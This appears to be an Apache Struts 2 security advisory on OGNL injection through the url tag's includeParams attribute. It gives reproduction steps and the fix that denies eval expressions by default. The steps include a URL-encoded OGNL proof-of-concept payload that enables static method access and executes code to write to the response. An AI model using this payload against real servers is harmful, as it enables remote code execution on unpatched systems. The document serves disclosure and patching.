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Problem

OGNL provides, among other features, extensive expression evaluation capabilities.
A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into the stack, afterward used as request parameter of an URL Tag , which will cause a further evaluation.

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1. Open HelloWorld.jsp present in the Struts Blank App and add to one of the url tag the following parameter:

   Code Block
   includeParams="all"

   Such that the line will be something look like this:

   Code Block
   xml xml
   <s:url id="url" action="HelloWorld" includeParams="all">

   (I'm pretty sure it works also with includeParams="get" as well).
2. Run struts2-blank app
3. Open the url: http://localhost:8080/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
   (this is the shortenerize shortened version http://goo.gl/lhlTl)

The issue, in order to work, need a redirect result defined as the following:

<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
    <result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>

Solution

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In this case, there is no way to escape the fakeParam, since it's not an expected parameter.

Solution

The OGNLUtil class was changed to deny eval expressions by default.

<constant name="struts.ognl.enableOGNLEvalExpression" value="true" />